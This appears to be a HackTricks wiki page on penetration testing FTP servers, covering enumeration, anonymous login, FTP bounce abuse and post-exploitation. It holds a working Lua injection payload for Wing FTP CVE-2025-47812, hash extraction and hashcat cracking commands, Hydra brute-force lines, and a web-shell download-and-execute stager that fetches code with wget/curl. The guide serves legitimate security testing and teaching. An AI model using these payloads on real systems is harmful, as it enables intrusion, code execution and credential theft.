overview.md (16668B)
1 --- 2 title: "21 - Pentesting FTP" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-ftp/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-ftp/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 21 - Pentesting FTP 14 15 ## Basic information<sup>[[7]](#references)</sup> 16 17 The **File Transfer Protocol (FTP)** is a standard protocol for transferring files between a client and server over a computer network.\ 18 Its control channel is **plaintext** and terminates lines with CRLF (`0x0d 0x0a`), so raw testing may require **Telnet** or **`nc -C`**. 19 20 **Default Port:** 21 21 22 ```text 23 PORT STATE SERVICE 24 21/tcp open ftp 25 ``` 26 27 ### Active and passive connections 28 29 In **active FTP**, the **client** initiates the control connection from its port N to the FTP server's command port, TCP/21. The client then listens on a data port and advertises it to the server with `PORT` or `EPRT`. The **server initiates the data connection** to the client's advertised port. 30 31 Active FTP can fail when a client-side firewall blocks inbound data connections. Passive FTP avoids this issue by having the client initiate both connections. 32 33 In **passive FTP**, the client initiates the control connection to TCP/21 and issues `PASV` or `EPSV`. The server returns a listening data port, and the client initiates the data connection to that server port.<sup>[[6]](#references)[[7]](#references)</sup> 34 35 Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)<sup>[[6]](#references)</sup> 36 37 ### Connection debugging 38 39 The FTP client's **`debug`** and **`trace`** commands can show how the communication occurs. 40 41 ## Enumeration 42 43 ### Banner Grabbing 44 45 ```bash 46 nc -vn <IP> 21 47 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any 48 ``` 49 50 ### Connect to FTP using starttls 51 52 ```text 53 lftp 54 lftp :~> set ftp:ssl-force true 55 lftp :~> set ssl:verify-certificate no 56 lftp :~> connect 10.10.10.208 57 lftp 10.10.10.208:~> login 58 Usage: login <user|URL> [<pass>] 59 lftp 10.10.10.208:~> login username Password 60 ``` 61 62 ### Unauth enum 63 64 With **nmap** 65 66 ```bash 67 sudo nmap -sV -p21 -sC -A 10.10.10.10 68 ``` 69 70 Use `HELP` and `FEAT` to obtain information about the FTP server: 71 72 ```text 73 HELP 74 214-The following commands are recognized (* =>'s unimplemented): 75 214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV 76 214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD 77 214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP 78 214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC* 79 214-PBSZ PROT TYPE STRU MODE RETR STOR STOU 80 214-APPE REST ABOR USER PASS ACCT* REIN* LIST 81 214-NLST STAT SITE MLSD MLST 82 214 Direct comments to root@drei.work 83 84 FEAT 85 211-Features: 86 PROT 87 CCC 88 PBSZ 89 AUTH TLS 90 MFF modify;UNIX.group;UNIX.mode; 91 REST STREAM 92 MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*; 93 UTF8 94 EPRT 95 EPSV 96 LANG en-US 97 MDTM 98 SSCN 99 TVFS 100 MFMT 101 SIZE 102 211 End 103 104 STAT 105 #Info about the FTP server (version, configs, status...) 106 ``` 107 108 ### Anonymous login 109 110 _anonymous : anonymous_\ 111 \_anonymous :_\ 112 \_ftp : ftp_ 113 114 ```bash 115 ftp <IP> 116 >anonymous 117 >anonymous 118 >ls -a # List all files (even hidden) (yes, they could be hidden) 119 >binary #Set transmission to binary instead of ascii 120 >ascii #Set transmission to ascii instead of binary 121 >bye #exit 122 ``` 123 124 ### [Brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#ftp) 125 126 Here you can find a nice list with default ftp credentials: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) 127 128 ### Automated 129 130 Nmap performs anonymous-login and FTP-bounce checks with the **`-sC`** option, or you can invoke all FTP scripts explicitly: 131 132 ```bash 133 nmap --script ftp-* -p 21 <ip> 134 ``` 135 136 ## FTP URL handling 137 138 An FTP URL has the following form, although current browsers no longer provide built-in FTP clients; Firefox removed FTP support in version 90. Use a dedicated client such as `lftp` or FileZilla instead.<sup>[[8]](#references)</sup> 139 140 ```bash 141 ftp://anonymous:anonymous@10.10.10.98 142 ``` 143 144 If a **web application** sends user-controlled data directly to an FTP server, double-encoded CRLF bytes (`%250d%250a`) may permit FTP command injection. Possible effects include downloading content from an attacker-controlled server, scanning ports, or interacting with another plaintext protocol such as HTTP. 145 146 147 ### Wing FTP Server (web client RCE + credential recovery) 148 149 If the **HTTP interface** returns a header like `Server: Wing FTP Server(Free Edition)` or the footer exposes **`v7.4.3` / `< 7.4.4`**, test the **web client**, not only TCP/21. In some deployments **`anonymous`** with a blank password works in the web login too, which is important because **CVE-2025-47812** is exploitable with any valid account, including anonymous when enabled.<sup>[[3]](#references)[[4]](#references)</sup> 150 151 **Bug class:** the web login validates the username only **up to `\0`**, but the **full submitted value** is later written into the user **Lua session file**. Wing FTP stores session state as code such as:<sup>[[3]](#references)</sup> 152 153 ```lua 154 _SESSION['username']=[[<username>]] 155 _SESSION['ipaddress']=[[127.0.0.1]] 156 ``` 157 158 If the username starts with a valid account and then injects a value like `anonymous\0]] ... --`, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like `/dir.html`:<sup>[[3]](#references)</sup> 159 160 ```lua 161 anonymous\0]] 162 local h = io.popen("id") 163 print(h:read("*a")) 164 h:close() 165 -- 166 ``` 167 168 - Prefix before `\0` passes authentication (`anonymous`, real user, or admin). 169 - `]]` closes `_SESSION['username']=[[...]]`. 170 - `io.popen()` gives command execution as the **Wing FTP service account** (**root/SYSTEM by default** in many real installs). 171 - `--` comments the trailing `]]` appended by Wing FTP. 172 173 #### Wing FTP post-exploitation: file-based hashes 174 175 Wing FTP often stores users and admins in **XML** below the install `Data/` directory, commonly:<sup>[[2]](#references)</sup> 176 177 ```bash 178 Data/_ADMINISTRATOR/admins.xml 179 Data/1/users/*.xml 180 ``` 181 182 Useful checks after landing on the host: 183 184 ```bash 185 find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e '<Password>' -e 'EnableSHA256' -e 'EnablePasswordSalting' -e 'SaltingString' 186 ``` 187 188 If the config shows: 189 190 ```xml 191 <EnableSHA256>1</EnableSHA256> 192 <EnablePasswordSalting>1</EnablePasswordSalting> 193 <SaltingString>WingFTP</SaltingString> 194 ``` 195 196 passwords are stored as **`SHA256(password + salt)`**. A quick formatter for Hashcat mode **`1410`** (`sha256($pass.$salt)`) is:<sup>[[2]](#references)[[5]](#references)</sup> 197 198 ```bash 199 grep -r "<Password>" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\1:\2:WingFTP#' > wingftp.hashes 200 hashcat -m 1410 --user wingftp.hashes <wordlist> 201 ``` 202 203 This is especially useful when **application users map to local OS users** and password reuse gives **SSH** or `su` access.<sup>[[2]](#references)</sup> 204 205 ## Download all files from FTP 206 207 ```bash 208 wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all 209 wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all 210 ``` 211 212 If your user/password has special characters, the [following command](https://stackoverflow.com/a/113900/13647948) can be used: 213 214 ```bash 215 wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ 216 ``` 217 218 ### FTP root mapped to webroot (XAMPP) 219 220 - XAMPP/ProFTPD often maps FTP root to `/opt/lampp/htdocs`, so weak creds on service accounts like `daemon` or `nobody` let you **upload a PHP web shell directly into the served webroot**.<sup>[[1]](#references)</sup> 221 - After uploading, trigger an **architecture-aware download/exec stager** via the shell, for example: `webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86)`, which fetches a checksum-validated payload, saves it (e.g., `init_start`), sets `chmod +x`, and runs it. 222 - If the current directory is not writable/executable, the stager falls back to `/tmp`, so test web paths and filesystem permissions after upload. 223 224 ## Some FTP commands<sup>[[7]](#references)</sup> 225 226 - **`USER username`** 227 - **`PASS password`** 228 - **`HELP`** The server indicates which commands are supported 229 - **`PORT 127,0,0,1,0,80`** tells the FTP server to connect to 127.0.0.1 on port 80. The final two decimal fields encode the 16-bit port as `p1*256 + p2`. 230 - **`EPRT |1|127.0.0.1|80|`** tells the FTP server to establish a TCP connection to IPv4 address 127.0.0.1 on port 80. Address-family value `2` selects IPv6. 231 - **`LIST`** This will send the list of files in current folder 232 - **`LIST -R`** List recursively (if allowed by the server) 233 - **`APPE /path/something.txt`** This will indicate the FTP to store the data received from a **passive** connection or from a **PORT/EPRT** connection to a file. If the filename exists, it will append the data. 234 - **`STOR /path/something.txt`** Like `APPE` but it will overwrite the files 235 - **`STOU /path/something.txt`** stores the uploaded data under a unique server-generated filename. 236 - **`RETR /path/to/file`** requires an established active or passive data connection, through which the server sends the requested file. 237 - **`REST 6`** tells the server that the next `RETR` transfer should resume at byte offset 6. 238 - **`TYPE i`** Set transfer to binary 239 - **`PASV`** asks the server to listen for a passive data connection and return the address and port to the client. 240 - **`PUT /tmp/file.txt`** Upload indicated file to the FTP 241 242  243 244 ## FTPBounce attack 245 246 Some FTP servers allow the `PORT` command to specify an arbitrary destination for the server's data connection. This behavior can be abused to scan a host's ports through the FTP server. 247 248 [**Learn here how to abuse a FTP server to scan ports.**](/hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-attack) 249 250 You could also abuse this behaviour to make a FTP server interact with other protocols. You could **upload a file containing an HTTP request** and make the vulnerable FTP server **send it to an arbitrary HTTP server** (_maybe to add a new admin user?_) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.\ 251 The theory is easy: 252 253 1. **Upload the request (inside a text file) to the vulnerable server.** Remember that if you want to talk with another HTTP or FTP server you need to change lines with `0x0d 0x0a` 254 2. **Use `REST X` to avoid sending the characters you don't want to send** (maybe to upload the request inside the file you needed to put some image header at the beginning) 255 3. **Use `PORT` to connect to the arbitrary server and service.** 256 4. **Use `RETR` to send the saved request to the server.** 257 258 This will probably return an error such as _**Socket not writable**_ because the connection may not remain open long enough for `RETR` to send the data. Possible workarounds include: 259 260 - If you are sending an HTTP request, **put the same request one after another** until **\~0.5MB** at least. Like this: 261 262 [Posts.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-ftp/posts.txt) 263 264 - Try to **fill the request with "junk" data relative to the protocol** (talking to FTP maybe just junk commands or repeating the `RETR`instruction to get the file) 265 - Just **fill the request with a lot of null characters or others** (divided on lines or not) 266 267 Anyway, here you have an [old example about how to abuse this to make a FTP server download a file from a different FTP server.](/hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file) 268 269 ## Filezilla Server Vulnerability 270 271 **FileZilla** usually **binds** to **local** an **Administrative service** for the **FileZilla-Server** (port 14147). If you can create a **tunnel** from **your machine** to access this port, you can **connect** to **it** using a **blank password** and **create** a **new user** for the FTP service. 272 273 ## Config files 274 275 ```text 276 ftpusers 277 ftp.conf 278 proftpd.conf 279 vsftpd.conf 280 ``` 281 282 ### Post-Exploitation 283 284 The default configuration of vsFTPd can be found in `/etc/vsftpd.conf`. In here, you could find some dangerous settings: 285 286 - `anonymous_enable=YES` 287 - `anon_upload_enable=YES` 288 - `anon_mkdir_write_enable=YES` 289 - `anon_root=/home/username/ftp` - Directory for anonymous. 290 - `chown_uploads=YES` - Change ownership of anonymously uploaded files 291 - `chown_username=username` - User who is given ownership of anonymously uploaded files 292 - `local_enable=YES` - Enable local users to login 293 - `no_anon_password=YES` - Do not ask anonymous for password 294 - `write_enable=YES` - Allow commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE 295 296 ### Shodan 297 298 - `ftp` 299 - `port:21` 300 301 ## HackTricks Automatic Commands 302 303 ```text 304 Protocol_Name: FTP #Protocol Abbreviation if there is one. 305 Port_Number: 21 #Comma separated if there is more than one. 306 Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out 307 308 Entry_1: 309 Name: Notes 310 Description: Notes for FTP 311 Note: | 312 Anonymous Login 313 -bi <<< so that your put is done via binary 314 315 wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' 316 ^^to download all dirs and files 317 318 wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' 319 if PASV transfer is disabled 320 321 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html 322 323 Entry_2: 324 Name: Banner Grab 325 Description: Grab FTP Banner via telnet 326 Command: telnet -n {IP} 21 327 328 Entry_3: 329 Name: Cert Grab 330 Description: Grab FTP Certificate if existing 331 Command: openssl s_client -connect {IP}:21 -starttls ftp 332 333 Entry_4: 334 Name: nmap ftp 335 Description: Anon login and bounce FTP checks are performed 336 Command: nmap --script ftp-* -p 21 {IP} 337 338 Entry_5: 339 Name: Browser Connection 340 Description: Connect with Browser 341 Note: ftp://anonymous:anonymous@{IP} 342 343 Entry_6: 344 Name: Hydra Brute Force 345 Description: Need Username 346 Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp 347 348 Entry_7: 349 Name: consolesless mfs enumeration ftp 350 Description: FTP enumeration without the need to run msfconsole 351 Note: sourced from https://github.com/carlospolop/legion 352 Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' 353 ``` 354 355 ## References 356 357 - [1] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/) 358 - [2] [0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation](https://0xdf.gitlab.io/2026/06/27/htb-wingdata.html) 359 - [3] [RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)](https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/) 360 - [4] [NVD - CVE-2025-47812](https://nvd.nist.gov/vuln/detail/CVE-2025-47812) 361 - [5] [Wing FTP help - User / Group settings](https://www.wftpserver.com/help/ftpserver/index.html?user__group.htm) 362 - [6] [What is FTP bounce attack?](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) 363 - [7] [RFC 959 – File Transfer Protocol](https://www.rfc-editor.org/rfc/rfc959) 364 - [8] [Mozilla Security Blog – Stopping FTP support in Firefox 90](https://blog.mozilla.org/security/2021/07/20/stopping-ftp-support-in-firefox-90/)